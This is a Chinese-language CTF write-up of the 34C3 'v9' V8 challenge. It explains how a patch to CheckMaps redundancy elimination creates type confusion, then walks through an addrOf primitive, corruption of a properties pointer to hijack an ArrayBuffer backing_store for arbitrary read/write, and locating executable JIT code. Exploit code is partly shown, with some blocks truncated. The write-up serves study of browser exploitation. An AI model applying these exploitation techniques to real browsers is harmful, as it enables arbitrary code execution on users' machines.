34c3_v9复现,由于Patch的改动导致了Type Confusion,学习了一个新姿势。
环境准备
mkdir v9 && cd v9
fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
漏洞分析
Patch
$ cat v9.patch
1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc |
在RedundancyElimination加入了对于CheckMaps的Reduce。
Checkmap用于检查某个对象的类型有没有发生变化。
其调用过程如下:1
2
3
4
5
6
7Reduction RedundancyElimination::Reduce(Node* node) {
if (node_checks_.Get(node)) return NoChange();
switch (node->opcode()) {
...
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);
1 | Reduction RedundancyElimination::ReduceCheckNode(Node* node) { |
1 | Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const { |
1 | bool IsCompatibleCheck(Node const* a, Node const* b) { |
Reduce中对于CheckMaps时,在LookupCheck中for (Check const* check = head_; check != nullptr; check = check->next)
遍历其他check,并调用IsCompatibleCheck
函数。在该函数中,如果节点均为CheckMaps
,则会检查CheckMaps
是否兼容,如果a_maps
是b_maps
的子集,则CheckMaps
是兼容的。此时在IsCompatibleCheck
中返回True
,在LookupCheck
中返回check->node
,node
节点被替换。如果一个节点被多次检查,则可以忽略后面的检查。
POC
1 | function hex(x) |
$ ~/browser/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./poc.js
[+] objLeakAddr -> 0x000024df95306101
DebugPrint: 0x24df95306101: [JS_OBJECT_TYPE]
- map = 0x25fac8d0c931 [FastProperties]
- prototype = 0x2356ade846a9
- elements = 0x160aaa282251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x160aaa282251 <FixedArray[0]> {
#x: <unboxed double> 1.1 (data field 0)
#y: <unboxed double> 2.2 (data field 1)
}
0x25fac8d0c931: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x25fac8d0c8e1 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x24df9530bd81 <FixedArray[8]>
- layout descriptor: 0x300000000
- prototype: 0x2356ade846a9 <Object map = 0x25fac8d022a1>
- constructor: 0x2356ade846e1 <JSFunction Object (sfi = 0x160aaa2a3b59)>
- dependent code: 0x160aaa282251 <FixedArray[0]>
- construction counter: 0
漏洞利用
在漏洞利用方面学到了一个新姿势,通过修改obj
的Properties
来获得一个完整的RW
原语。
这里部分参考raycp师傅的exploit。
addrOf原语
如POC中一样。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22function addrOf(obj)
{
let o = {a: 1.1, b: 2.2};
function triggerFunc(o, callback)
{
let tmp = o.a;
callback(tmp);
return o.b;
}
function usableFunc()
{
o.b = obj;
}
for(let i=0; i<0x12000; i++)
{
triggerFunc(o,()=>1);
triggerFunc(o,()=>2);
}
let ret = tC.f2u(triggerFunc(o,usableFunc));
return ret;
}
`
修改Properties
对于如下对象1
2
3
4var o = {
c : 1.1
};
o.d = 2.2;
DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b761 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3e5206a41cc1 <PropertyArray[3]> {
#c: <unboxed double> 1.1 (data field 0)
#d: 0x3e5206a41ce9 <MutableNumber 2.2> (data field 1) properties[0]
}
0xbc7d550b761: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x2d853bb1cf29 <FixedArray[8]>
- layout descriptor: 0x100000000
- prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
- constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
- dependent code: 0x2422aa43a4c1 <FixedArray[4]>
- construction counter: 0
添加的o.d
(properties[0]
)是MutableNumber
类型。
pwndbg> job 0x3e5206a41ce9
<mutable 2.2>
pwndbg> x/2gx 0x3e5206a41ce9-1
0x3e5206a41ce8: 0x00000aefc6902e31 0x400199999999999a
改变o.d
后
DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b081 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3e5206a41d99 <PropertyArray[3]> {
#c: <unboxed double> 1.1 (data field 0)
#d: 0x2d853bb1cac1 <Object map = 0xbc7d550b6c1> (data field 1) properties[0]
}
0xbc7d550b081: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x3e5206a41d49 <FixedArray[8]>
- layout descriptor: 0x100000000
- prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
- constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
- dependent code: 0x3d6274302251 <FixedArray[0]>
- construction counter: 0
...
pwndbg> job 0x2d853bb1cac1
0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2d853bb1cba1 <PropertyArray[3]> {
#inline: 42 (data field 0)
#offset0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391> (data field 1) properties[0]
#offset8: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391> (data field 2) properties[1]
#offset16: 0x2d853bb1cc69 <Object map = 0xbc7d5502391> (data field 3) properties[2]
}
pwndbg> x/2gx 0x2d853bb1cac1-1
0x2d853bb1cac0: 0x00000bc7d550b6c1 0x00002d853bb1cba1
0x2d853bb1cac1
的对象就是我们要改变properties
的对象。
可以看到存放对象properties
的位置与存放MutableNumber
的值的位置相同,
所以我们可以再次修改o.d为目标值,就可以修改对象0x2d853bb1cac1
的properties
为目标值。
DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
#inline: 42 (data field 0)
#offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
#offset8: 1024 (data field 2) properties[1]
#offset16: 22089 (data field 3) properties[2]
...
pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x56494f218ea0
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
此时对象0x2d853bb1cac1
的properties
已经被修改为了一个ArrayBuffer
的地址。
任意地址读写
1 | var memviewBuf = new ArrayBuffer(1024); |
首先new
两个ArrayBuffer
,并通过两次gc
把他们移到OldSpace
。
1 | var victim = {inline: 42}; |
然后通过上述修改properties
的方法,把victim
的properties
修改为driverBuf
的地址(通过AddrOf
获得)。
看一下PropertyArray
pwndbg> job 0x2d853bb1cba1
0x2d853bb1cba1: [PropertyArray]
- map = 0xaefc69031a1 <Map(HOLEY_ELEMENTS)>
- length: 3
- hash: 0
0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391>
1: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391>
2: 0x2d853bb1cc69 <Object map = 0xbc7d5502391>
pwndbg> x/6gx 0x2d853bb1cba1-1
0x2d853bb1cba0: 0x00000aefc69031a1 0x0000000300000000
0x2d853bb1cbb0: 0x00002d853bb1cb19 0x00002d853bb1cbc9
0x2d853bb1cbc0: 0x00002d853bb1cc69 0x00000bc7d5502391
可以看到0x20
位置是0x00002d853bb1cc69
,即victim.offset16
。
pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x56494f218ea0
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
pwndbg> x/6gx 0x2422aa436749-1
0x2422aa436748: 0x00000bc7d5502f71 0x00003d6274302251
0x2422aa436758: 0x00003d6274302251 0x0000040000000000
0x2422aa436768: 0x000056494f218ea0 0x000056494f218ea0
而在ArrayBuffer
中,0x20
位置是backing_store
。所以我们可以修改victim.offset16
来改变backing_store
。
DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
#inline: 42 (data field 0)
#offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
#offset8: 1024 (data field 2) properties[1]
#offset16: 0x2422aa408f31 <ArrayBuffer map = 0xbc7d5502f71> (data field 3) properties[2]
}
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x2422aa408f31
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
通过修改后可以看到,随着offset16
的改变,ArrayBuffer
的backing_store
同时改变。
然后就可以通过其获得完整的任意地址读写。
1 | class ArbitraryRW |
read
中,driver
是上面victim
的properties
所指ArrayBuffer
的视图,其backing_store
已经被修改成另一个ArrayBuffer
,向backing_store
内容+31
偏移位置(即另一个ArrayBuffer
的backing_store
)写入目标addr
,然后通过另一个ArrayBuffer
的视图控制读写。write
中也类似。leakObj
是通过map
以及instanceDescriptors
来稳定泄露obj
的地址。
RWX地址
在低版本的v8
中,可以通过修改函数的JIT
代码实现任意执行。
pwndbg> job 0x246bc89ac0c1
0x246bc89ac0c1: [Function] in OldSpace
- map = 0x284ab4a84501 [FastProperties]
- prototype = 0x246bc8984669
- elements = 0x2d96f9082251 <FixedArray[0]> [HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x246bc89abf81 <SharedFunctionInfo 0>
- name = 0x2d96f90844f1 <String[1]: 0>
- formal_parameter_count = 0
- kind = [ NormalFunction ]
- context = 0x246bc8983d91 <FixedArray[281]>
- code = 0x257698804081 <Code JS_TO_WASM_FUNCTION>
- properties = 0x246bc8988d81 <PropertyArray[3]> {
#length: 0x2d96f90fdb19 <AccessorInfo> (const accessor descriptor)
#name: 0x2d96f90fdb89 <AccessorInfo> (const accessor descriptor)
#arguments: 0x2d96f90fdbf9 <AccessorInfo> (const accessor descriptor)
#caller: 0x2d96f90fdc69 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2d96f90fdcd9 <AccessorInfo> (const accessor descriptor)
0x2d96f9084991 <Symbol: (wasm_instance_symbol)>: 0x246bc89ae669 <Instance map = 0x38c99150b7b1> (data field 0) properties[0]
0x2d96f9084971 <Symbol: (wasm_function_index_symbol)>: 0 (data field 1) properties[1]
}
- feedback vector: not available
pwndbg> x/20gx 0x246bc89ac0c1-1
0x246bc89ac0c0: 0x0000284ab4a84501 0x0000246bc8988d81
0x246bc89ac0d0: 0x00002d96f9082251 0x00002d96f9082321
0x246bc89ac0e0: 0x0000246bc89abf81 0x0000246bc8983d91
0x246bc89ac0f0: 0x00002d96f90827e1 0x0000257698804081
code
在0x38偏移处。
pwndbg> job 0x257698804081
0x257698804081: [Code]
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
Instructions (size = 147)
0x2576988040e0 0 55 push rbp
0x2576988040e1 1 4889e5 REX.W movq rbp,rsp
可计算得到,code
地址距离可执行代码的位置有0x60
的偏移。
Exploit
1 | function hex(x) |